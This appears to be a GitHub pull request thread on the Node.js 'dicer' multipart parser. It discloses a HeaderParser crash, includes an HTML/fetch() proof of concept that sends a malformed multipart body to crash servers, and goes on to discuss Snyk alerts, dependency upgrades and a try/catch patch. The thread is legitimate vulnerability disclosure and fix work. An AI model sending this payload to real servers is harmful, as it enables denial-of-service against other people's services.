dicer
dicer copied to clipboard
mscdex
Removed a bug which could cause a crash in HeaderParser, and as consequence could potentially crash a web server based on it
Function HeaderParser.prototype._parseHeader() uses a variable h, which in edge cases is used before it is initialized. As a consequence the statement
this.header[h][this.header[h].length - 1] += lines[i];
would crash. This can happen if an attacker uses a manipulated multipart/form-data header with a header name that starts with ' ' or '\t'. I wrote a simple HTML file that is exactly doing this using the fetch() function:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body onload="sectest()">
<button id="security">Security Check</button>
<script>
function sectest() {
const button_sectest = document.getElementById('security');
button_sectest.onclick = send;
}
function send(event) {
event.preventDefault();
fetch('form-image', {
method: 'POST',
headers: {
['content-type']: 'multipart/form-data; boundary=----WebKitFormBoundaryoo6vortfDzBsDiro',
['content-length']: '145',
host: '127.0.0.1:8000',
connection: 'keep-alive',
},
body: '------WebKitFormBoundaryoo6vortfDzBsDiro\r\n Content-Disposition: form-data; name="bildbeschreibung"\r\n\r\n\r\n------WebKitFormBoundaryoo6vortfDzBsDiro--'
});
}
</script>
</body>
</html>
I used such an HTML file, and was able to crash Dicer and also Busboy. In particular, it happens if one uses the example server code presented on the Dicer GitHub repository. I think that it is a severe bug which should be removed as soon as possible.
Therefore, I wrote this PR. It
- removes the mentioned bug;
- removes a bug in the HeaderParser constructor functions which computed a wrong value for the variable
end; - removes some unnecessary code in
HeaderParser.prototype._parseHeader(); - removes the variable
_realFinishand all of it's occurances inDicer.jsas it is not necessary, increases the code size, and adds unwanted complexity; - removes an unnecessary
else ifclause in the functionDicer.prototype._oninfo();
@RolandHeinze Are you using dicer as a part of busboy or separately? Context for the question - we have forked busboy within fastify organization in order to restart development on it, and our original plan was to just embed dicer in it. However, if there is demand for fixed dicer outside of busboy, we can also provide that as a separate dependency.
Hi devs, I'm starting to get Snyk High Vulnerability alerts regarding Dicer for all versions: https://snyk.io/vuln/npm%3Adicer
Any way I can help get this PR across the line?
@nathan-gilbert If you're just parsing web forms (multipart or urlencoded), busboy would be a better choice.
dicer was originally created for use by busboy, but it no longer depends on it.
@mscdex I'm not using dicer directly, but many of my dependencies are so it would be a much larger refactor than simply switching dicer for busboy.
@nathan-gilbert If the parent dependency is an older version of busboy, releasing a new version of dicer would not help as those old versions of busboy used exact versions for the dicer dependency and not version ranges.
@mscdex Yep, you're right. I thought there were more than just busboy using dicer but it doesn't look like it. I think all I need to do is upgrade busboy.
Thanks, sorry for taking up some time here.
There is a Denial of Service (DoS) security flaw has been introduced in [email protected]. The details are available in the Snyk report: https://security.snyk.io/vuln/SNYK-JS-DICER-2311764 There is no fix version available. So It is impacting other modules which dependent on the multer module. So we are looking for fix version for this as soon as possible.
@nsandeepn multer just needs to upgrade to the latest version of busboy. For existing multer installations, there's nothing that can be done (see https://github.com/mscdex/dicer/pull/22#issuecomment-1133276609).
FYI it looks like firebase/firebase-admin-node depends on dicer directly, but only for parsing responses from the Firebase API. Should be no real danger there, just annoying to have the security warning.
@Karlinator npm audit report
dicer *
Severity: high
Crash in HeaderParser in dicer - https://github.com/advisories/GHSA-wm7h-9275-46v2
fix available via npm audit fix --force
Will install [email protected], which is a breaking change
node_modules/dicer
firebase-admin >=7.1.0
Depends on vulnerable versions of dicer
node_modules/firebase-admin
2 high severity vulnerabilities
For people getting this error in snyk, if it isn't already apparent from the comments above...
An older version of busboy used this version of dicer that is throwing this problem.
Multer really just needs to update their packages, see https://github.com/expressjs/multer/issues/1095
multer just needs to upgrade to the latest version of busboy. For existing multer installations, there's nothing that can be done (see https://github.com/mscdex/dicer/pull/22#issuecomment-1133276609).
This is not as easy as said, since the change in to not use dice is part of the braking release v1.0.0, which drops the support of older node versions. Upgrading to this version in multer would also require multer to create a breaking change release. (See: https://github.com/expressjs/multer/pull/1097)
Creating a fix in dicer would enable different users to use the override feature of npm to quick-fix the issue.
Also: if you don't plan to support dicer further, i think it would be beneficial to deprecate/archive this repo and add some infos, that users can find easily.
If anyone wants to patch around this in a minimal way until all their other dependencies update then we used this patch in Dicer (0.2.5):
diff --git a/node_modules/dicer/lib/Dicer.js b/node_modules/dicer/lib/Dicer.js
index 246b3ea..611cbeb 100644
--- a/node_modules/dicer/lib/Dicer.js
+++ b/node_modules/dicer/lib/Dicer.js
@@ -124,7 +124,11 @@ Dicer.prototype.setBoundary = function(boundary) {
var self = this;
this._bparser = new StreamSearch('\r\n--' + boundary);
this._bparser.on('info', function(isMatch, data, start, end) {
- self._oninfo(isMatch, data, start, end);
+ try {
+ self._oninfo(isMatch, data, start, end);
+ } catch (e) {
+ self.emit('error', e)
+ }
});
};
This catches the error and emits it so that Express can properly fail the request and get back to processing other requests. Arguably, this would be a good change to see in Dicer regardless.
We also have a direct dependency on dicer in firebase-admin-node. Fixing dicer would help developers who are currently have their releases blocked on npm audit (see https://github.com/firebase/firebase-admin-node/issues/1718#issuecomment-1139958102). It will also provide a stopgap solution for package maintainers and buy some time to implement a proper fix (updating busboy etc.).
Also agree with @rudxde if you no longer recommend developers to use dicer directly, deprecating the module would help.
dicerwas originally created for use bybusboy, but it no longer depends on it.
@mscdex: So, is dicer still going to be maintained? If no, does anything speak against marking dicer as deprecated?
@Kondamon It's low priority at the moment. dicer really needs a rewrite, much like busboy had, because node streams have come a long way since I first wrote the modules.
Presumably indirect dependencies such as this...
apollo-server > apollo-server-core >
@apollographql/graphql-upload-8-fork > busboy > dicer
...are of very little security risk remaining on dicer v0.3.1 with no fix?
If anyone wants to patch around this in a minimal way until all their other dependencies update then we used this patch in Dicer:
diff --git a/node_modules/dicer/lib/Dicer.js b/node_modules/dicer/lib/Dicer.js index 246b3ea..611cbeb 100644 --- a/node_modules/dicer/lib/Dicer.js +++ b/node_modules/dicer/lib/Dicer.js @@ -124,7 +124,11 @@ Dicer.prototype.setBoundary = function(boundary) { var self = this; this._bparser = new StreamSearch('\r\n--' + boundary); this._bparser.on('info', function(isMatch, data, start, end) { - self._oninfo(isMatch, data, start, end); + try { + self._oninfo(isMatch, data, start, end); + } catch (e) { + self.emit('error', e) + } }); };This catches the error and emits it so that Express can properly fail the request and get back to processing other requests. Arguably, this would be a good change to see in Dicer regardless.
On which version of dicer did you create/apply this fix?
Presumably indirect dependencies such as this...
apollo-server > apollo-server-core > @apollographql/graphql-upload-8-fork > busboy > dicer
...are of very little security risk remaining on dicer v0.3.1 with no fix?
@hardysabs2 Did you find a solution for this?
